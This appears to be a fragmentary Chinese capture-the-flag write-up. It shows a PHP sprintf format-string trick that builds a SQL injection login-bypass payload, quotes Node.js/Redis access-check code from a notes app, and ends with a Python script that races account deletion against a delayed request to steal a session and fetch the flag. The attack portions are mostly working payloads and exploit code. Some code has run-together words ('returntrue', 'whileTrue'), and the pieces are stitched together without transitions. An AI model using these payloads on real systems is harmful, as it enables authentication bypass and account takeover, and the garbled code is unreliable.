<?php $a="name='%\'%s"; $b=vsprintf($a,'a'); echo $b; #Warning: vsprintf(): Too few arguments in <?php $a="name='%1$\'%s"; $b=vsprintf($a,'a'); echo $b; #name=''a
构造
来分析一下他代码的执行过程
#先尝试password=1%1$') or 1=1# 则(转义后)变成: 1%$1\') or 1=1# 然后变成 SELECT * FROM `users` where password=sha1('1%1$\') or 1 = 1#') 此时还需要在经过sprintf才能消去%1$\让单引号逃逸出来,所以还要在post一次name让他在经过一次sprintf,此时即可登录成功 最终payload password=1%1$') or 1=1#&name=a
async hasUserNoteAcess(uid, nid) { //Redis Sismember 命令判断成员元素是否是集合的成员,nid为flag,那一定是,这个是表里有的 if (await db.sismember(`uid:${uid}:notes`, nid)) { returntrue; } //Hexists 命令用于查看哈希表的指定字段是否存在 if (!await db.hexists(`uid:${uid}`, 'hash')) { // system user has no password returntrue; } returnfalse;
if (req.query.random) { const ms = Math.floor(2000 + Math.random() * 1000); awaitnewPromise(r =>setTimeout(r, ms)); res.flash('info', `Our AI ran ${ms}ms to generate this piece of groundbreaking research.`); content = 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.'; }
if __name__=="__main__": whileTrue: s = requests.session() u = ''.join([random.choice(string.ascii_letters) for _ in range(3)]) p = ''.join([random.choice(string.ascii_letters) for _ in range(3)]) r1=register(u,p) l1=login(u,p) print("a",s.cookies) c=s.cookies.get("connect.sid") p=Process(target=sleep_notes,args=('a','a',s)) p.start() sleep(0.5) d=deleteme() p.join() s.cookies.update({"connect.sid":c}) r=get_flag() if re.search("flag",r.text): print() break